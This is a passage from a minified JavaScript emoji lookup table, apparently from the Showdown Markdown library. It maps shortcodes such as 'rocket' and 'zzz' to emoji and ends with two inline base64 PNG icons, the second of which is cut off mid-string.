🙌\u0022,raising_hand_woman:\u0022🙋\u0022,raising_hand_man:\u0022🙋\u0026zwj;♂️\u0022,ram:\u0022🐏\u0022,ramen:\u0022🍜\u0022,rat:\u0022🐀\u0022,record_button:\u0022⏺\u0022,recycle:\u0022♻️\u0022,red_circle:\u0022🔴\u0022,registered:\u0022®️\u0022,relaxed:\u0022☺️\u0022,relieved:\u0022😌\u0022,reminder_ribbon:\u0022🎗\u0022,repeat:\u0022🔁\u0022,repeat_one:\u0022🔂\u0022,rescue_worker_helmet:\u0022⛑\u0022,restroom:\u0022🚻\u0022,revolving_hearts:\u0022💞\u0022,rewind:\u0022⏪\u0022,rhinoceros:\u0022🦏\u0022,ribbon:\u0022🎀\u0022,rice:\u0022🍚\u0022,rice_ball:\u0022🍙\u0022,rice_cracker:\u0022🍘\u0022,rice_scene:\u0022🎑\u0022,right_anger_bubble:\u0022🗯\u0022,ring:\u0022💍\u0022,robot:\u0022🤖\u0022,rocket:\u0022🚀\u0022,rofl:\u0022🤣\u0022,roll_eyes:\u0022🙄\u0022,roller_coaster:\u0022🎢\u0022,rooster:\u0022🐓\u0022,rose:\u0022🌹\u0022,rosette:\u0022🏵\u0022,rotating_light:\u0022🚨\u0022,round_pushpin:\u0022📍\u0022,rowing_man:\u0022🚣\u0022,rowing_woman:\u0022🚣\u0026zwj;♀️\u0022,rugby_football:\u0022🏉\u0022,running_man:\u0022🏃\u0022,running_shirt_with_sash:\u0022🎽\u0022,running_woman:\u0022🏃\u0026zwj;♀️\u0022,sa:\u0022🈂️\u0022,sagittarius:\u0022♐️\u0022,sake:\u0022🍶\u0022,sandal:\u0022👡\u0022,santa:\u0022🎅\u0022,satellite:\u0022📡\u0022,saxophone:\u0022🎷\u0022,school:\u0022🏫\u0022,school_satchel:\u0022🎒\u0022,scissors:\u0022✂️\u0022,scorpion:\u0022🦂\u0022,scorpius:\u0022♏️\u0022,scream:\u0022😱\u0022,scream_cat:\u0022🙀\u0022,scroll:\u0022📜\u0022,seat:\u0022💺\u0022,secret:\u0022㊙️\u0022,see_no_evil:\u0022🙈\u0022,seedling:\u0022🌱\u0022,selfie:\u0022🤳\u0022,shallow_pan_of_food:\u0022🥘\u0022,shamrock:\u0022☘️\u0022,shark:\u0022🦈\u0022,shaved_ice:\u0022🍧\u0022,sheep:\u0022🐑\u0022,shell:\u0022🐚\u0022,shield:\u0022🛡\u0022,shinto_shrine:\u0022⛩\u0022,ship:\u0022🚢\u0022,shirt:\u0022👕\u0022,shopping:\u0022🛍\u0022,shopping_cart:\u0022🛒\u0022,shower:\u0022🚿\u0022,shrimp:\u0022🦐\u0022,signal_strength:\u0022📶\u0022,six_pointed_star:\u0022🔯\u0022,ski:\u0022🎿\u0022,skier:\u0022⛷\u0022,skull:\u0022💀\u0022,skull_and_crossbones:\u0022☠️\u0022,sleeping:\u0022😴\u0022,sleeping_bed:\u0022🛌\u0022,sleepy:\u0022😪\u0022,slightly_frowning_face:\u0022🙁\u0022,slightly_smiling_face:\u0022🙂\u0022,slot_machine:\u0022🎰\u0022,small_airplane:\u0022🛩\u0022,small_blue_diamond:\u0022🔹\u0022,small_orange_diamond:\u0022🔸\u0022,small_red_triangle:\u0022🔺\u0022,small_red_triangle_down:\u0022🔻\u0022,smile:\u0022😄\u0022,smile_cat:\u0022😸\u0022,smiley:\u0022😃\u0022,smiley_cat:\u0022😺\u0022,smiling_imp:\u0022😈\u0022,smirk:\u0022😏\u0022,smirk_cat:\u0022😼\u0022,smoking:\u0022🚬\u0022,snail:\u0022🐌\u0022,snake:\u0022🐍\u0022,sneezing_face:\u0022🤧\u0022,snowboarder:\u0022🏂\u0022,snowflake:\u0022❄️\u0022,snowman:\u0022⛄️\u0022,snowman_with_snow:\u0022☃️\u0022,sob:\u0022😭\u0022,soccer:\u0022⚽️\u0022,soon:\u0022🔜\u0022,sos:\u0022🆘\u0022,sound:\u0022🔉\u0022,space_invader:\u0022👾\u0022,spades:\u0022♠️\u0022,spaghetti:\u0022🍝\u0022,sparkle:\u0022❇️\u0022,sparkler:\u0022🎇\u0022,sparkles:\u0022✨\u0022,sparkling_heart:\u0022💖\u0022,speak_no_evil:\u0022🙊\u0022,speaker:\u0022🔈\u0022,speaking_head:\u0022🗣\u0022,speech_balloon:\u0022💬\u0022,speedboat:\u0022🚤\u0022,spider:\u0022🕷\u0022,spider_web:\u0022🕸\u0022,spiral_calendar:\u0022🗓\u0022,spiral_notepad:\u0022🗒\u0022,spoon:\u0022🥄\u0022,squid:\u0022🦑\u0022,stadium:\u0022🏟\u0022,star:\u0022⭐️\u0022,star2:\u0022🌟\u0022,star_and_crescent:\u0022☪️\u0022,star_of_david:\u0022✡️\u0022,stars:\u0022🌠\u0022,station:\u0022🚉\u0022,statue_of_liberty:\u0022🗽\u0022,steam_locomotive:\u0022🚂\u0022,stew:\u0022🍲\u0022,stop_button:\u0022⏹\u0022,stop_sign:\u0022🛑\u0022,stopwatch:\u0022⏱\u0022,straight_ruler:\u0022📏\u0022,strawberry:\u0022🍓\u0022,stuck_out_tongue:\u0022😛\u0022,stuck_out_tongue_closed_eyes:\u0022😝\u0022,stuck_out_tongue_winking_eye:\u0022😜\u0022,studio_microphone:\u0022🎙\u0022,stuffed_flatbread:\u0022🥙\u0022,sun_behind_large_cloud:\u0022🌥\u0022,sun_behind_rain_cloud:\u0022🌦\u0022,sun_behind_small_cloud:\u0022🌤\u0022,sun_with_face:\u0022🌞\u0022,sunflower:\u0022🌻\u0022,sunglasses:\u0022😎\u0022,sunny:\u0022☀️\u0022,sunrise:\u0022🌅\u0022,sunrise_over_mountains:\u0022🌄\u0022,surfing_man:\u0022🏄\u0022,surfing_woman:\u0022🏄\u0026zwj;♀️\u0022,sushi:\u0022🍣\u0022,suspension_railway:\u0022🚟\u0022,sweat:\u0022😓\u0022,sweat_drops:\u0022💦\u0022,sweat_smile:\u0022😅\u0022,sweet_potato:\u0022🍠\u0022,swimming_man:\u0022🏊\u0022,swimming_woman:\u0022🏊\u0026zwj;♀️\u0022,symbols:\u0022🔣\u0022,synagogue:\u0022🕍\u0022,syringe:\u0022💉\u0022,taco:\u0022🌮\u0022,tada:\u0022🎉\u0022,tanabata_tree:\u0022🎋\u0022,taurus:\u0022♉️\u0022,taxi:\u0022🚕\u0022,tea:\u0022🍵\u0022,telephone_receiver:\u0022📞\u0022,telescope:\u0022🔭\u0022,tennis:\u0022🎾\u0022,tent:\u0022⛺️\u0022,thermometer:\u0022🌡\u0022,thinking:\u0022🤔\u0022,thought_balloon:\u0022💭\u0022,ticket:\u0022🎫\u0022,tickets:\u0022🎟\u0022,tiger:\u0022🐯\u0022,tiger2:\u0022🐅\u0022,timer_clock:\u0022⏲\u0022,tipping_hand_man:\u0022💁\u0026zwj;♂️\u0022,tired_face:\u0022😫\u0022,tm:\u0022™️\u0022,toilet:\u0022🚽\u0022,tokyo_tower:\u0022🗼\u0022,tomato:\u0022🍅\u0022,tongue:\u0022👅\u0022,top:\u0022🔝\u0022,tophat:\u0022🎩\u0022,tornado:\u0022🌪\u0022,trackball:\u0022🖲\u0022,tractor:\u0022🚜\u0022,traffic_light:\u0022🚥\u0022,train:\u0022🚋\u0022,train2:\u0022🚆\u0022,tram:\u0022🚊\u0022,triangular_flag_on_post:\u0022🚩\u0022,triangular_ruler:\u0022📐\u0022,trident:\u0022🔱\u0022,triumph:\u0022😤\u0022,trolleybus:\u0022🚎\u0022,trophy:\u0022🏆\u0022,tropical_drink:\u0022🍹\u0022,tropical_fish:\u0022🐠\u0022,truck:\u0022🚚\u0022,trumpet:\u0022🎺\u0022,tulip:\u0022🌷\u0022,tumbler_glass:\u0022🥃\u0022,turkey:\u0022🦃\u0022,turtle:\u0022🐢\u0022,tv:\u0022📺\u0022,twisted_rightwards_arrows:\u0022🔀\u0022,two_hearts:\u0022💕\u0022,two_men_holding_hands:\u0022👬\u0022,two_women_holding_hands:\u0022👭\u0022,u5272:\u0022🈹\u0022,u5408:\u0022🈴\u0022,u55b6:\u0022🈺\u0022,u6307:\u0022🈯️\u0022,u6708:\u0022🈷️\u0022,u6709:\u0022🈶\u0022,u6e80:\u0022🈵\u0022,u7121:\u0022🈚️\u0022,u7533:\u0022🈸\u0022,u7981:\u0022🈲\u0022,u7a7a:\u0022🈳\u0022,umbrella:\u0022☔️\u0022,unamused:\u0022😒\u0022,underage:\u0022🔞\u0022,unicorn:\u0022🦄\u0022,unlock:\u0022🔓\u0022,up:\u0022🆙\u0022,upside_down_face:\u0022🙃\u0022,v:\u0022✌️\u0022,vertical_traffic_light:\u0022🚦\u0022,vhs:\u0022📼\u0022,vibration_mode:\u0022📳\u0022,video_camera:\u0022📹\u0022,video_game:\u0022🎮\u0022,violin:\u0022🎻\u0022,virgo:\u0022♍️\u0022,volcano:\u0022🌋\u0022,volleyball:\u0022🏐\u0022,vs:\u0022🆚\u0022,vulcan_salute:\u0022🖖\u0022,walking_man:\u0022🚶\u0022,walking_woman:\u0022🚶\u0026zwj;♀️\u0022,waning_crescent_moon:\u0022🌘\u0022,waning_gibbous_moon:\u0022🌖\u0022,warning:\u0022⚠️\u0022,wastebasket:\u0022🗑\u0022,watch:\u0022⌚️\u0022,water_buffalo:\u0022🐃\u0022,watermelon:\u0022🍉\u0022,wave:\u0022👋\u0022,wavy_dash:\u0022〰️\u0022,waxing_crescent_moon:\u0022🌒\u0022,wc:\u0022🚾\u0022,weary:\u0022😩\u0022,wedding:\u0022💒\u0022,weight_lifting_man:\u0022🏋️\u0022,weight_lifting_woman:\u0022🏋️\u0026zwj;♀️\u0022,whale:\u0022🐳\u0022,whale2:\u0022🐋\u0022,wheel_of_dharma:\u0022☸️\u0022,wheelchair:\u0022♿️\u0022,white_check_mark:\u0022✅\u0022,white_circle:\u0022⚪️\u0022,white_flag:\u0022🏳️\u0022,white_flower:\u0022💮\u0022,white_large_square:\u0022⬜️\u0022,white_medium_small_square:\u0022◽️\u0022,white_medium_square:\u0022◻️\u0022,white_small_square:\u0022▫️\u0022,white_square_button:\u0022🔳\u0022,wilted_flower:\u0022🥀\u0022,wind_chime:\u0022🎐\u0022,wind_face:\u0022🌬\u0022,wine_glass:\u0022🍷\u0022,wink:\u0022😉\u0022,wolf:\u0022🐺\u0022,woman:\u0022👩\u0022,woman_artist:\u0022👩\u0026zwj;🎨\u0022,woman_astronaut:\u0022👩\u0026zwj;🚀\u0022,woman_cartwheeling:\u0022🤸\u0026zwj;♀️\u0022,woman_cook:\u0022👩\u0026zwj;🍳\u0022,woman_facepalming:\u0022🤦\u0026zwj;♀️\u0022,woman_factory_worker:\u0022👩\u0026zwj;🏭\u0022,woman_farmer:\u0022👩\u0026zwj;🌾\u0022,woman_firefighter:\u0022👩\u0026zwj;🚒\u0022,woman_health_worker:\u0022👩\u0026zwj;⚕️\u0022,woman_judge:\u0022👩\u0026zwj;⚖️\u0022,woman_juggling:\u0022🤹\u0026zwj;♀️\u0022,woman_mechanic:\u0022👩\u0026zwj;🔧\u0022,woman_office_worker:\u0022👩\u0026zwj;💼\u0022,woman_pilot:\u0022👩\u0026zwj;✈️\u0022,woman_playing_handball:\u0022🤾\u0026zwj;♀️\u0022,woman_playing_water_polo:\u0022🤽\u0026zwj;♀️\u0022,woman_scientist:\u0022👩\u0026zwj;🔬\u0022,woman_shrugging:\u0022🤷\u0026zwj;♀️\u0022,woman_singer:\u0022👩\u0026zwj;🎤\u0022,woman_student:\u0022👩\u0026zwj;🎓\u0022,woman_teacher:\u0022👩\u0026zwj;🏫\u0022,woman_technologist:\u0022👩\u0026zwj;💻\u0022,woman_with_turban:\u0022👳\u0026zwj;♀️\u0022,womans_clothes:\u0022👚\u0022,womans_hat:\u0022👒\u0022,women_wrestling:\u0022🤼\u0026zwj;♀️\u0022,womens:\u0022🚺\u0022,world_map:\u0022🗺\u0022,worried:\u0022😟\u0022,wrench:\u0022🔧\u0022,writing_hand:\u0022✍️\u0022,x:\u0022❌\u0022,yellow_heart:\u0022💛\u0022,yen:\u0022💴\u0022,yin_yang:\u0022☯️\u0022,yum:\u0022😋\u0022,zap:\u0022⚡️\u0022,zipper_mouth_face:\u0022🤐\u0022,zzz:\u0022💤\u0022,octocat:'\u003cimg width\u003d\u002220\u0022 height\u003d\u002220\u0022 align\u003d\u0022absmiddle\u0022 src\u003d\u0022data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAOwUlEQVR42uVbCVyO6RbPmn0sw9gZS0aZO4y5GTEUE2ObxjZjrbHEJVy3sWS5pkaWxjLEkCVDSbSgFLdESaWSLIVUSIi4kvb9f895vi/zbbR+yZ339/tbnu99n/ec/3Oe85xznufV0CjDBaAdwZqwnzCJ0FXjHV70/i8J5oQDhCFV8cJdq1atwqxZs+Ds7Iz4+HhqwgXCLELNKlK6G2Ej4e6lS5ewZcsWzJgxA+fOnWNZFqvzxT1v3boF/qcsBg0ahP3796OwsJAFWKYuIqjfPoS9cXFxWL58Obp06SInh5aWFr//jjoJWLlu3TolAorRuXNn7Ny5k4W4Spgj81xrgj5hLmED4RDhlNRygglBhADCSakpWxFMCHoETUJTwrYHDx7A1NT0je9nPHz4kN/fXl0EeI0aNeqtAjB69+4NPz8/FsSdlXvy5An8/f1hZ2cHCwsLGBsbY/To0cJy9PT0MGDAAAwePBhGRkbClNesWYODBw8iODgYOTk53M/d9evXo27duiW++8iRI3z/ZHURENOjR48ShSjGuHHjhHJ16tQp9TOKaNWqlZKpvw1MHluQOpSvk5eXh5YtW5ZbmarAvHnzmIBd6iCgXnZ2Npo1a1atCWAfwY5SHQTUKCoqQocOHao1AebmHBJgi7p8QBDP6epMwKFDvMDAWF0ELLS1ta3WBNy9e5cJMFIXAdvt7e2rNQHDhw9nAv5D+KKylV9y8+bNCi1pVYWZM2cyCfaVTcDdsqzH7xpBQRxcwqyylLdi5/K+KM/Q0dFhAqIri4Bn1T0AUgVpdmhYUeVHnD59+r1TnjF27Fgm4HhFCThoYmLyXhLQoEGD4mRKsyIE3OrZs+d7SQCDCyZcNSqv8k1evXoFTU3NUr+wzUcfYqRBf8yb/C2WzfoBFoTF08fBdMIITDD8CsP1+kL30x7Q6dYZH7drjfZ0f4fWLdG1Q1t81qMLBvTRwejB/TBl1BDMnzQGS2dMxKo5k7Fs9iSY/jAaBvR8Pc26pZaH02quLZSXgO6xsbGlelGnli1wZKcVMqN8gKcRwItrf+K/VB95doXaLwOJIVSzOU/+2Re5kV7IuuyJrIhTyLt6mmztLBBPNZLHoUAy9fE8UvJ8ikxfj8PwJPQErJeYlkquTZs2MQFLykuANgc/Jb2kn3Z3ZMaQUrmxwO1zyAo7gfRAJ6RfOIyMEFdkXj5F8BTK5lzxQv610yi8QcFatI8gQoCIK7x+hojwRnaE5H4JTiEj9Pjr/rJDqcZyn9b4ovu45LYbdWvXeqtsXMHiSlZ5CegRExPz1hd83PYj5POo0QinXyLFg48hnZTOiQ1Dzr1IZEaeQRoJn0HKZIR7lA2kfHrQUerXHTlx4ZL+rnjjFRGRGeYB5MUj2GnbW+XbuJFrp1heXgI6JCYmvvUFN1x3Aek3SWkapRAXMeJFGS8ge2Xfuog0toaykED3Mpk8+shOk+sv68Y50V9WuKewBKt5094o39atW/mRf5WXgIYZGRlo3Lixys4nj6A6Z1YMcqRCpwU4ouDlUyHk/QA/hNttR25Wlvh/ZthJUsil9ATQ/axkYbqEzDgfL0Ts/x35+aLyTES7IY36Q6w/+Q4/tP6wuUoZ9+7dy7ebVmQZjO/atavKzn32rAdeXkd6KCkXdAxZ13yFcLFnvPD73zrDVrsdTs6eggKSuSjjORHkUGoC0i86Iyc6QPQX7eqMnTodYNuzHU4vnosiaitMSUSavwMy6d3IvEUrzViVMrq5uXEX4ytCgL++vr5Sx7Vr1cIDX0dKkQJfj37Rs3jw1sBxkwlwGD4Ax3+ciN1faCHW76xQRFgAOcjSEMBkIe0x8nLzcez7kTg8Rh/uxuOxR/cTJISFSfq7eATpZCk8CAfXLVFJwIULXHnHoIoQYLtw4UKljps2aogXQcQuef/XAiMDKY+S4DhyEFwpDnCj9f+Afl8EbbWRTANaAdihlYoAMn8aZzyNuYODX/eD29TvRH/7v+qN8H27JdOAyWQfQQ74xPafVRLAPox9WUlK6hIGEgx4f00Kg2JcvHhRqeP6FIwknXemyen/2gLIIeC/CYk49M0AuE4xgtu0sThg8AUCN62TEuBdRgJo2Y+Kxh9D/k59SQiwH9QHobt3SAk4KSGA4oWjm1YqyVi8U6Soj4yOrHM/jTAyKVby/PnzIoNi8L+L4eXlpXoFcLcTgc1rAlISkJeXDxeK2A6P1hdTwI6mQPTJE+WbAlnJyE7PhNO3Q3BkrKGYWtxfHMkkmQLO0ilwA7+vXqAkn66urtBLUZ9iHfm30NBQaPAf165dA0d9vP2UlJSEp0+f4vHjx3j06JH4e+rUqUovcNmyGkiNEkLwklXsBG+ecMUOnfbYod1emG5uboFKJ8jPFVD0l0dBUHqoPDHpQeQEb0qc4FUHe3KAbYUT9JgzDbwOFL5MfN0fXkXhJ5PxSvLt2LFD1Ah5u4z1YJ14l4qnBe8v3rhxAzz4PAVG8nLHivIP0dHRiIiIQGRkpEgmrl69ClW1QBMjQ7LDW8hmU+RRI69ckJIkhL7jfRJBm62R+TJVYq6h0jhBRslsivqenT2MF/7OyI70VmkFhWnPJaS6OyPkt43IycqR9EfWlH7JDQUUTuNhCHR7Ke9YcRp/5coVoQPrcvnyZURFRYmBZlLS0kR8MVLD29sbnp6e8PHxQUBAgCgn8YO8E3z79m3BGKeVc+bMkXuBZt06SA12F/F5Go0gR4C8HBalPZMPXKL8lQKhPAqF+f97KXFyNx6HQsoPsshJ/kmAp2TKkJLISpXvjyxNhMYcDVLOEO+lPDi8B5mamipkZx1YF9YpJCRErAy+vr5CZ9ZdWABhDGEYYTBhAOFz3g4nfMJelNCbkNCpUye5F034mvxIPi1/FM+zQCw0k5B9O0iEr5kRXkqhMJOVf9NXIHjtT7hmaymSoBzKETimkAuFpaF1dkwI9RcmIYaXv3BJXoGCuyIgk5WpefPmKCgoYK46SmX/RKoL69Sfl0WuFEl1HlmWJXE5z6WmTZvKJxxmxkIQ3AuU5APk6NICj4hRT6eITTEEzqWk55HHPjz3cxJhNF5cxeNT9kj2cRDTQjEkzpDtjyyCic5l5fEA7uSHFEefR5pPsahrb2B9QkICFHeJ51HunkdLIg0VLY0BFKdLwllVHp4dHyvst3QuEiiju21vA/+VZkiluIKt4I3RIfWXQ4QgKUxkni47LJWUP3PmjHo2RxVI+CebmKJP6EiFDVurxUgmExe5PHlnPAkn8w4QqW62NCVmYopozid5H0CI9RKE21ggJeAYEeMnfitOnRn5XCfgeJ+VTosWQU8MOc6ZE0cqnUm4fv165SrPBVHCfMI4TowUfmOfsIcdJh92kBWmUcP6GDt8EDZbzIffH5tx3/ewSFjw5LKk0MEFEkZenDBjgew7Yiog5brkt+QrknvJmhIp4Apw/A1bVpjhG/0v5d7Vrl07bNu2TelUSqUoz8uI3Z49OEtBAy+TdP1CqKtwHzvQUxxgTJs2TeX5gdq1a0ObSmCjh+jB+NuvRamL1+3ls77HCip1rTSdJP5eNnMizKndjMLoH42G4bthX+FzHS3UVVEC69evH3799VeKMXJZrlWKclUGAZ5jxoxB02ZNsNlxH74aagBHZyex986HlVTczyGmI58h4CjL2toa48ePFxsUPEotWrQoc0GT0/C2bduiY8eO4ISMcxLeoOFYhS6qm2EpoZG65jmbv+dPSyRZlt5QfVjvtX19AOFNL+aDFNI4m0eFc9Ho5ORkaGtrl5kAVp6DMOk88efEjLe++ZhclZwHTJHEHbs4YOCmLj2645fdvwnTK42zoXtaEHwNDQ3LXdZm5yad3/2r+gQmDsRnIF5KAldX6zdsgG/GG8F44Vzcu3eP2y1K6GPr2rVrK1zbnz59Or/LoaoJCPZ4kCZsjw9GECL79OmDj9q2wb+320C3/5fgPQO6Vrzh+fpcDqxXr16lbHBwgkZXm6okYJr0ECMrX5vraiJ1lArEjrEnzWuOqemiYj9spGd2ee478XkiPsJakmJ83qA05/8qXNurJFLiunXrhpo1a6LxB02wyHIFZpovgOHwYfjZ0hK2lH5u2rwZ5suWYv5ycyUlmjRpgl69eimlrFy3kwuoyOvXr19frm3RokVMwPZ3TYC57E6xVq+e6KzVDSaL/oEp82Zh8IhhWLjGAp/p9oX5ujVKBNjY2MDV1VWuzd3dXaTesm2biUQuZ8u28elSPmKr8a4vdog8GnJpcT1N1KHUuBbt0jSgWuGbzJh3mVhh2TYHBwdxjFa2jVcZnvPVlQBOLXdZWlqW2ZFxNYYVlm07fPgwAgMD5dr4OD5HeHLFFxM+O42DGtXhIkFaMQlcUjIzM0P37t1Ro0YNpZPjPJcVK7SOjo5ybU5OTqIAo0gAh97VlgAZIj4l8Pn4WFaO64ocuXG6zJtDbMqySnC7IgF8uptLVrJtq1evFuWqak+A4j4i4TNpltiJ8LPiNFFFwNGjRyWFyfedAFUny/joekkEuLi4KK0CfykCeFnkiu1flgBeFtl3/D8SsMbKykpOifv37ysRcPz4cVHKUiSA8wwNdR9/VTMBSh9Y8S4Nf2qnSICiBbDzVCRg9uzZTMC+94kAv6FDh8opwRsVHPjItnl4eEDxHNLKlStFXV+2javQ/M1SpZe+1KA4L4G7WDG57fSm/OUbXiqG0ewAFYOeYcN4fwZhvLkp2y4tftrxcltdlf/w+fPn4qNGxTCYU2m6nrRu3VqunT/EoiuZvw6TTZHpyuNNmEaNGsndP3fu3OJAq1N1JOAHDmyKheVtNP4OkE2crULRAW7fvl20EyyLy24a8p+/7WISFixYIMLt4t82bNhQYjXqXREgPq3j74mlX3AmSL8E1eOPIBXnuVT5OsVZpuLnOMeOHeN7vifwiYhYzhC5IpwlOXj1QXWdBmy/XWU/X+UqMZfKBw4cKAobHPlJlZe9h6tOu+7cuSN2dg0MDMSSyZUpmXvaSD+crq/xvl0k9BTCRa7qEPq+5T4t6ffF52WVV+f1P6zyLG30bsU4AAAAAElFTkSuQmCC\u0022\u003e',showdown:'\u003cimg width\u003d\u002220\u0022 height\u003d\u002220\u0022 align\u003d\u0022absmiddle\u0022 src\u003d\u0022data:image/png;base64,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